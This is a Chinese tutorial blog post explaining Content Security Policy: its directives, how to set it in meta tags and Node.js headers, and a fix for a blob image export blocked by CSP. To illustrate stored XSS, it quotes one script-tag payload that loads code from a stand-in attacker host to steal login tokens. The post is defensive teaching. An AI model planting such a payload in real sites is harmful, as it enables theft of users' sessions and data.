内容简介:最近在修复公司系统一个图片导出的功能,无法导出图片, 于是就 google 一把,这个是什么玩意?这是网站安全方面的内容了,对于网站跨域的问题错误不少见,跨域是由于同源策略导致的,只允许加载来自自身的origin 域的数据,即a.com 是不能加载来自b.com 的数据的,这样就解决大部分的安全问题,恶意代码就无法在浏览器端执行获取用户的安全隐私。毕竟,“道高一丈,魔高一尺”,恶意方总有方法绕过同源策略的限制,如XSS跨站脚本攻击,比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中
最近在修复公司系统一个图片导出的功能,无法导出图片
,拒绝加载图片blob:http://xxxx
,违反
Content Security Policy
, 于是就 google 一把,这个是什么玩意?
Content Security Policy
这是网站安全方面的内容了,对于网站跨域的问题错误不少见,跨域是由于同源策略导致的,只允许加载来自自身的origin 域的数据,即a.com 是不能加载来自b.com 的数据的,这样就解决大部分的安全问题,恶意代码就无法在浏览器端执行获取用户的安全隐私。毕竟,“道高一丈,魔高一尺”,恶意方总有方法绕过同源策略的限制,如XSS跨站脚本攻击,比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入
<script src="http://www.hacker.org/xss.payload.js"></script> 复制代码
,xss.payload.js可以获取老浏览用户的信息,如的登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。所以W3 org引入了CSP,它从另外一层面给浏览器提供了保护。
看看 MDN Content Security Policy 的解释:
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。
原理
CSP 通过告诉浏览器一系列的规则,严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝,这样一来,从源头上杜绝了不可信的xss payload。
规则
无论是在 <meta>
标签还是在 header 中指定,其值的格式是统一的,都由一系列的指令组成的。
Content-Security-Policy: <policy-directive>; <policy-directive> 复制代码
这里的指令是CSP 规定中用以详细描述某种资源的判断,比如前面的错误图片中, img-src
指定图片,下面列出一些常用的指令
更多指令,见MDN
指令可接受的值
指令后面跟的来源,有两种写法:
- 预设值
- URI 通配符
预设值
- none 不匹配任何东西。
- self 匹配当前域,但不包括子域。比如 example.com 可以,api.example.com 则会匹配失败。
- unsafe-inline 允许内嵌的脚本及样式。
- unsafe-eval 允许通过字符串动态创建的脚本执行,比如 eval,setTimeout 等
URI
除了上面配置的预设值,还可以通过提供完整的URI或带通配符 *
的地址来匹配,以指定资源的合法来源,跟配置跨域的相应头一致,参考Same-origin_policy
- :// .example.com:* 会匹配所有 example.com 的子域名,但不包括 example.com。
- example.com 和www.example.com 是两个不同的 URI。
- example.com:80 和example.com 也是是两个不同的 URI,虽然网站默认端口就是 80
实现途径
默认情况下,如果站点未指定 CSP 规则,浏览器不会默认开启,只受同源策略的影响。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>CSP 安全策略</title> <style> h1 { color: cornflowerblue; } </style> </head> <body> <h1>Hello CSP !</h1> <script> window.onload = () => alert("Hi, Jecyu"); </script> </body> </html> 复制代码
HTML 中添加 标签来指定 Content-Security-Policy 规则
<head> ... <meta http-equiv="Content-security-Policy" content="default-src 'self'" /> ... </head> 复制代码
效果:
配置站点默认只信息同域的资源,但注意,这个设置并不包含内联的情况,所以结果会如上图。如何修复它呢。如果我们想要允许页面内的内联脚本或样式,则可以通过添加 unsafe-inline
指令值来修复。
<meta http-equiv="Content-security-Policy" content="default-src 'self' 'unsafe-inline'" /> 复制代码
default-src,如果指定了它的值,则相当于改变了这些未指定的指令的默认值。可以理解为,上面 style-src 如果没指定,本来其默认值是 *,可以加载所有来源的样式,但设置 default-src 后,默认值就成了 default-src 指定的值。
服务器添加 Content-Security-Policy 响应头来指定规则
这里使用 node.js
const http = require("http"); const fs = require("fs"); const PORT = 8088; const path = require("path"); console.log(); // 创建一个 http 服务 const server = http.createServer((request, response) => { response.setHeader("Content-Type", "text/html;charset='utf-8'"); response.setHeader("Access-Control-Allow-Origin", "*"); response.setHeader( "Content-security-Policy", "default-src 'self' 'unsafe-inline'" ); // 读文件 fs.readFile(path.resolve(__dirname, "./index.html"), function(err, data) { if (err) { console.log(`index.html loading is failed` + err); } else { // 返回 HTML 页面 response.end(data); } }); }); // 启动服务,监听端口 server.listen(PORT, () => { console.log("服务启动成功,正在监听: ", PORT); }); 复制代码
优先级
- 对于设置了多次响应头的情况,最严格的规则会生效(无论是在 中,还是 header 中)
- 同一指令多次指定,以第一个为准,后续的会被忽略。
解决图片导出的问题
看看了请求首页的请求响应参数,如下:
通过前面的学习后,得知可以通过HTML或者Header进行对 CSP 规则的设置,从而避开限制。这里并没有设置 img-src
,由于设置 default-src 'self' data: *;
,因此图片只能加载同域的图片,因此 img-src
不允许 blob
的数据,来自 content-security-policy.com/
因此只好在动态设置图片src的时候,先把blob 转为 base64
形式,这样就符合了 CSR 的设置规则了,图片就可以添加到 HTML中了。
var base64data = ""; xhr.onload = function() { img = new Image(); var reader = new window.FileReader(); reader.readAsDataURL(this.response); reader.onloadend = function() { base64data = reader.result; img.src = base64data; }; img.addEventListener( "load", function() { deferred.resolve(img); URL.revokeObjectURL(_url); }, false ); img.addEventListener("error", function(errorEvent) { deferred.resolve({ error: errorEvent, image: img }); URL.revokeObjectURL(_url); }); }; xhr.onerror = function() { var img = new Image(); deferred.resolve(img); }; xhr.open("GET", url, true); xhr.responseType = "blob"; xhr.send(); } 复制代码
浏览器兼容性
(全文完)
进一步阅读
- [Web前端攻防,一不小心就中招了] juejin.im/post/591274…
- www.cnblogs.com/Wayou/p/int…
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- OPA Gatekeeper 策略入门
- “黑客”入门学习之“Windows组策略”
- OpenGL/OpenGL ES入门:iOS纹理翻转策略解析
- OpenGL ES 入门之旅 -- GLSL纹理单元和纹理翻转解决策略
- 深度强化学习从入门到大师:以 Cartpole 和 Doom 为例介绍策略梯度 (第四部分)
- 负载均衡策略之轮询策略
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。